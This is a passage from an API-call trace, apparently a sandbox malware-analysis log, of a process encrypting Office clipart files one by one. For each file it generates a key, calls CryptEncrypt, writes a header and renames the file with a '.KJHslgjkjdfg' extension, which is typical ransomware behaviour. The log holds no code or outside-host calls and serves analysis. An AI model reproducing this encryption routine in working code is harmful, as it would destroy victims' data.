dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.405] GetProcessHeap () returned 0x990000 [0188.405] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.405] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.405] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.406] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.408] GetProcessHeap () returned 0x990000 [0188.408] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.408] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.408] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.408] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.408] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.408] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.408] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.408] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.408] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.409] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8f8, lpOverlapped=0x0) returned 1 [0188.409] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900, dwBufLen=0x900 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x900) returned 1 [0188.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.409] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x900, lpOverlapped=0x0) returned 1 [0188.409] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.409] SetEndOfFile (hFile=0x130) returned 1 [0188.412] GetProcessHeap () returned 0x990000 [0188.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.412] GetProcessHeap () returned 0x990000 [0188.412] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.kjhslgjkjdfg")) returned 1 [0188.413] CloseHandle (hObject=0x130) returned 1 [0188.413] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9936cb00, ftCreationTime.dwHighDateTime=0x1bd4c0e, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9936cb00, ftLastWriteTime.dwHighDateTime=0x1bd4c0e, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0188.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.413] GetProcessHeap () returned 0x990000 [0188.413] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.413] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.413] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.413] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.418] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.418] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.418] GetProcessHeap () returned 0x990000 [0188.418] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.418] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.418] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.418] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.418] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.418] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.418] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.419] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.419] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.419] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.419] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.419] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2174, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2174, lpOverlapped=0x0) returned 1 [0188.420] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180, dwBufLen=0x2180 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2180) returned 1 [0188.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.421] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2180, lpOverlapped=0x0) returned 1 [0188.421] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.421] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.421] SetEndOfFile (hFile=0x130) returned 1 [0188.423] GetProcessHeap () returned 0x990000 [0188.424] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.424] GetProcessHeap () returned 0x990000 [0188.424] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.424] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.kjhslgjkjdfg")) returned 1 [0188.424] CloseHandle (hObject=0x130) returned 1 [0188.425] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4fe9900, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4fe9900, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0188.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.426] GetProcessHeap () returned 0x990000 [0188.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.426] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.426] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.447] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.447] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.448] GetProcessHeap () returned 0x990000 [0188.448] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.448] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.448] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.448] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.448] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.448] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.449] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.449] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.449] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.449] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x6e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x6e8, lpOverlapped=0x0) returned 1 [0188.449] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f0, dwBufLen=0x6f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6f0) returned 1 [0188.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.449] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6f0, lpOverlapped=0x0) returned 1 [0188.449] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.449] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.449] SetEndOfFile (hFile=0x130) returned 1 [0188.453] GetProcessHeap () returned 0x990000 [0188.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.453] GetProcessHeap () returned 0x990000 [0188.453] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.kjhslgjkjdfg")) returned 1 [0188.455] CloseHandle (hObject=0x130) returned 1 [0188.455] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81594a00, ftCreationTime.dwHighDateTime=0x1bd4c02, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81594a00, ftLastWriteTime.dwHighDateTime=0x1bd4c02, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0188.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.456] GetProcessHeap () returned 0x990000 [0188.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.456] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.458] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.458] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.458] GetProcessHeap () returned 0x990000 [0188.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.458] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.458] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.459] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.459] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.459] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x384, lpOverlapped=0x0) returned 1 [0188.459] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390, dwBufLen=0x390 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x390) returned 1 [0188.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.459] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x390, lpOverlapped=0x0) returned 1 [0188.460] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.460] SetEndOfFile (hFile=0x130) returned 1 [0188.462] GetProcessHeap () returned 0x990000 [0188.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.462] GetProcessHeap () returned 0x990000 [0188.462] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.462] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01434_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01434_.wmf.kjhslgjkjdfg")) returned 1 [0188.463] CloseHandle (hObject=0x130) returned 1 [0188.464] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55829800, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x55829800, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0188.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.464] GetProcessHeap () returned 0x990000 [0188.464] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.464] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.464] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.466] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.467] GetProcessHeap () returned 0x990000 [0188.467] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.467] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.467] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.467] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, 